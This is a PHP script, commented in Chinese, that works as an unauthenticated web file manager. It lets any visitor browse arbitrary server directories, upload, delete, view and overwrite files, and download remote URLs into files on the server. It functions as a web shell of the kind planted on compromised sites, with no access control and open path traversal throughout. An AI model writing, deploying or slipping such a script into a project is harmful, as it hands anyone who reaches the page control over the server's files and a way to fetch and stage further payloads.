<?php
$path = isset($_GET['path']) ? $_GET['path'] : '.';
$path = realpath($path);

// ----------- 远程文件下载部分 -----------
if (isset($_GET['url']) && isset($_GET['file'])) {
    $remoteUrl = $_GET['url'];
    $targetFile = $path . DIRECTORY_SEPARATOR . basename($_GET['file']);

    // 用curl方式获取远程内容
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remoteUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $str = curl_exec($ch);
    curl_close($ch);

    if ($str !== false) {
        $fp = fopen($targetFile, 'w');
        if ($fp) {
            $bytes = fwrite($fp, $str);
            fclose($fp);
            echo "<p style='color:green;'>远程文件已保存到: " . htmlspecialchars(basename($targetFile)) . "，字节数：$bytes</p>";
        } else {
            echo "<p style='color:red;'>无法打开目标文件写入：" . htmlspecialchars(basename($targetFile)) . "</p>";
        }
    } else {
        echo "<p style='color:red;'>远程内容获取失败。</p>";
    }
}

// ----------- 显示当前目录路径 -----------
echo "<h3>Path: $path</h3>";

// ----------- 上传文件表单 -----------
echo "<form method='POST' enctype='multipart/form-data'>
    <input type='file' name='file'>
    <input type='hidden' name='upload_path' value='" . htmlspecialchars($path) . "'>
    <button type='submit'>Upload</button>
</form>";

// ----------- 处理文件上传 -----------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadPath = isset($_POST['upload_path']) ? $_POST['upload_path'] : $path;
    $uploadedFile = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
        echo "<p style='color:green;'>File uploaded: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to upload file.</p>";
    }
}

// ----------- 删除文件 -----------
if (isset($_GET['delete'])) {
    $fileToDelete = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
    if (is_file($fileToDelete) && unlink($fileToDelete)) {
        echo "<p style='color:green;'>File deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to delete file.</p>";
    }
}

// ----------- 编辑并保存文件 -----------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'])) {
    $fileToEdit = $path . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    $content = $_POST['file_content'];
    $fp = fopen($fileToEdit, 'w');
    if ($fp) {
        fwrite($fp, $content);
        fclose($fp);
        echo "<p style='color:green;'>File updated: " . htmlspecialchars($_POST['edit_file']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to open file for writing: " . htmlspecialchars($_POST['edit_file']) . "</p>";
    }
}

// ----------- 列出当前目录下所有文件和文件夹 -----------
echo "<ul>";
foreach (scandir($path) as $item) {
    if ($item === '.') continue;
    $itemPath = $path . DIRECTORY_SEPARATOR . $item;
    echo "<li>";
    if (is_dir($itemPath)) {
        echo "<a href='?path=" . urlencode($itemPath) . "'>[DIR] $item</a>";
        echo " - <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    } else {
        echo "<a href='?path=" . urlencode($path) . "&file=" . urlencode($item) . "'>$item</a>";
        echo " - <a href='?path=" . urlencode($path) . "&delete=" . urlencode($item) . "' style='color:red;'>[Delete]</a>";
        echo " - <i>Size:</i> " . filesize($itemPath) . " bytes, <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    }
    echo "</li>";
}
echo "</ul>";

// ----------- 文件内容查看与编辑表单 -----------
if (isset($_GET['file'])) {
    $filePath = $path . DIRECTORY_SEPARATOR . $_GET['file'];
    if (is_file($filePath)) {
        echo "<h3>Contents of " . htmlspecialchars($_GET['file']) . ":</h3>";
        echo "<form method='POST'>
            <textarea name='file_content' style='width:100%;height:300px;'>" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['file']) . "'>
            <button type='submit'>Save Changes</button>
        </form>";
    }
}
?>

<!-- ----------- 远程下载小表单（可选显示在页面，方便你手动操作） ----------- -->
<form method="get">
    <h4>远程文件下载</h4>
    <input type="text" name="url" placeholder="远程URL" style="width:300px;">
    <input type="text" name="file" placeholder="保存为文件名">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>">
    <button type="submit">下载并保存</button>
</form>